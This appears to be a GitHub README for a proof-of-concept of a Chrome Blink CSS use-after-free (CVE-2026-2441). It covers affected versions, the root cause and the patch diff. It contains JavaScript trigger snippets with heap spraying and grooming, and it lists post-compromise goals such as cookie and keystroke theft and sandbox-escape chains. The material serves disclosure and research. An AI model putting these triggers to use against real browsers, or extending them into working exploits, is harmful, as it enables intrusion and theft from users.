huseyinstif/cve-2026-2441-pocProof-of-concept for CVE-2026-2441, a use-after-free in Chrome's CSS engine, demonstrating renderer crash and potential sandboxed code execution via crafted HTML.
CVSS 8.8 (High) | Actively Exploited in the Wild | Renderer RCE (Sandboxed)
A use-after-free vulnerability in Google Chrome's Blink CSS engine that allows a remote attacker to execute arbitrary code inside the browser sandbox via a crafted HTML page.
| Field | Value |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (High) |
| Type | Use-After-Free (CWE-416) |
| Component | Blink CSS — CSSFontFeatureValuesMap |
| Source File | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| Fix Commit | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| Reporter | Shaheen Fazim (2026-02-11) |
| Patch Date | 2026-02-13 |
| In-the-Wild | Yes — Google confirmed active exploitation |
| Platform | Vulnerable | Fixed |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium-based browsers (Edge, Brave, Opera, Vivaldi) | Check vendor advisory | Varies |
FontFeatureValuesMapIterationSource stored a raw pointer (const FontFeatureAliases* aliases_) to the internal FontFeatureAliases HashMap. When the map is mutated during iteration via set() or delete(), the HashMap rehashes — allocating new storage and freeing the old. The raw pointer becomes dangling, and the next FetchNextItem() call reads from freed memory.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = raw pointer to internal HashMap
→ iterator_ = aliases_->begin()
FetchNextItem()
→ reads iterator_->key (through aliases_)
If map.set() / map.delete() is called between iterations:
→ HashMap rehashes (new alloc, old freed)
→ aliases_ → dangling pointer
→ iterator_ → invalidated
→ Next FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → dangling after rehash
+ const FontFeatureAliases aliases_; // deep copy → immune to rehash
The fix replaces the raw pointer with a deep copy of the HashMap. Even if the original map rehashes, the iterator operates on its own copy, preventing the dangling pointer.
poc.html in a vulnerable Chrome version (< 145.0.7632.75)| Chrome Version | Expected Behavior |
|---|---|
| < 145.0.7632.75 (unpatched) | Renderer crash — STATUS_ACCESS_VIOLATION (Windows) or SIGSEGV (Linux/macOS). Chrome shows "Can't open this page" error. |
| >= 145.0.7632.75 (patched) | No crash — PoC runs to completion, all entries are read normally. |
When opened in a vulnerable Chrome version, the renderer process crashes with STATUS_ACCESS_VIOLATION:
Can't open this page
Error code: STATUS_ACCESS_VIOLATION
This confirms the UAF is triggered — the dangling pointer accesses freed/unmapped memory, causing the renderer process to terminate.
The PoC triggers the UAF through three independent methods:
entries() Iterator + Mutation Loopconst iterator = map.entries();
while (step < 20) {
iterator.next(); // read through (now dangling) pointer
map.delete(key); // trigger rehash
for (i = 0; i < 512; i++)
map.set("spray_" + i, [i]); // force reallocation
}
for...of + Concurrent Mutationfor (const [k, v] of map) {
map.delete(k);
for (i = 0; i < 512; i++)
map.set("alt_" + i, [i]);
}
requestAnimationFrame + Layout Recalcfunction rafTrigger() {
document.body.offsetWidth; // force layout recalc
const result = iterator.next();
map.delete(k);
for (i = 0; i < 512; i++)
map.set("raf_" + i, [i]);
requestAnimationFrame(rafTrigger);
}
Each method also includes heap grooming — allocating 50 same-sized @font-feature-values rules to make the heap layout predictable for potential exploitation.
document.cookie, localStorage, sessionStorage, form input valuesfetch() / WebSocket / sendBeacon()addEventListener('keydown')When combined with a separate sandbox escape vulnerability:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC exploit → Browser process RCE
→ Kernel exploit → Full system compromise
→ Malware / ransomware / spyware installation
→ File system access, lateral movement, persistence
Real-world exploit chains using similar browser UAFs:
This vulnerability is exploitable via drive-by download — no user interaction beyond visiting a malicious page is required:
chrome://flags/#site-isolation-trial-opt-out)| Date | Event |
|---|---|
| 2026-02-11 | Vulnerability reported by Shaheen Fazim |
| 2026-02-13 | Google releases Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) |
| 2026-02-13 | Google acknowledges in-the-wild exploitation |
| 2026-02-16 | Vivaldi and Opera ship fixes |
If you find this research useful, consider buying me a coffee:
This proof of concept is provided for educational and authorized security research purposes only. Use of this PoC against systems without explicit permission is illegal and unethical. The author is not responsible for any misuse.
MIT
